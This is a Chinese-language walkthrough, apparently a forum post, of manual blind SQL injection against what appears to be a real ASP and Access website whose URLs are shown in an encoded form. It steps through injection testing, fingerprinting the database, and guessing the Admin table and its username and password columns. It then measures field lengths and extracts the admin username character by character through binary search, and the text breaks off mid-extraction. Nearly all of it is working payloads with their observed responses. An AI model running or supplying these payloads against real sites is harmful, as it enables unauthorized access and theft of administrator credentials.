第一步:在网址后面加入 单引号’ 即
d34K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4x3U0N6Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4y4W2)9&6b7#2)9^5z5g2!0q4z5g2)9&6y4q4)9&6z5b7`.`.
e47K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and 1=1 正常返回
da4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and 1=2 异常返回
一般可以判断此url可以被sql注入。
3.判断数据库类型 因为当前各种网址使用的语言和数据库各不相同,比如Asp+access 、 Asp+sql server 、php+ my sql /Ms sql 、 Jsp + Oracle / Mysql 、Aspx + Access /Ms Sql 等等。而各种数据库对应的sql语句各不相同,因此首先需要确定数据库类型。
一般方法是:
1) a10K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and user >0
根据错误信息判断数据库类型:
表示为 Access 数据库
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
/jiao_lian.asp,行 43
2) 062K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select count(*) from sysobjects)>0
3) 76fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select count(*) from msysobjects)>0
注释:user 是sql server的内置变量 是nvarchar 如将与int比较 如果是sql server会直接报错,是Access会提示没有改变量
Sysobjects是sql server 的数据库内置表,在web环境下,可以被正常访问
Msysobjects是Access的数据库内置表 在web环境下,不能正常访问。
4.这个是个分水岭的步骤,因为是Access数据库,小弟初来咋到,不知道Access数据库时,有什么好的方法,只能走常规方法,猜!希望有高人直接。
1) 首先猜表
795K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3q4F1k6l9`.`. (select count(*) from Admin)>=0 判断是否有Admin表 返回正常则存在 返回异常则不存在 等同下面的语句
c7cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6g2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3q4F1k6l9`.`. exists(select * from Admin)
非常幸运 这个网站按常理出牌了 返回的是正常页面,那么就说明有这个表,这个表中一般都是管理员用户名和密码,我们继续猜。当然如果返回异常,可以继续猜,一般的工具都是使用字典的,穷尽常见的表组成的字典,如果没有匹配的,则认为攻击失败。因此,给数据表已可以有效防止sql注入,但不是最好的方法。
2) 猜字段
c23K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select count(username) from Admin)>=0
判断是否正常,正常说明存在username字段,我们的是正常的 同理:
66bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select count(password) from Admin)>=0
很容易想到 这个两个就是用户名和密码字段,已经足够了,继续猜
3) 确定长度
985K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from Admin)>10
一般用户名不会加密的所以不会很多,先判断是否在10以内。
发现返回异常,说明小于等于10
ef1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from Admin)>5
返回还是异常 说明<=5
c13K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from Admin)>3 返回正常 说明大于3
630K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(username) from Admin)>4 返回正常 说明大于4
所以可以确定长度是5
201K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from Admin)>32 一般网站密码是使用md5加密的所以 一般都是32 或者16 当然也有例外,所以先判断是否在32以内
返回异常 说明<=32
2d4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from Admin)>16 返回正常 说明大于16
d86K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from Admin)>24 返回正常 说明大于24
基本上可以确定是32了 我们直接测试32吧
83bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 len(password) from Admin)=32 返回正常 说明密码是使用md5加密的 32位
4) 继续猜每一位
738K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from Admin)>63 利用asc取一位猜测 其值是否大于ascii的中间值 返回正常 继续猜
0e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from Admin)>94 利用二分法取 ascii (126+63)/2=94 返回正常 继续猜
f41K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from Admin)>110 返回异常 说明小于110
b50K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from Admin)>102 异常
517K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from Admin)>98 异常
30fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4Z5k6h3&6Y4M7h3W2Y4N6h3q4F1L8r3W2Q4x3X3g2U0L8$3#2Q4x3V1k6B7K9h3q4G2i4K6g2X3L8r3W2S2L8W2)9J5k6h3q4K6M7q4)9K6c8X3W2V1i4K6y4p5y4o6f1`. and (select top 1 asc(mid(username,1,1)) from Admin)>96 返回正常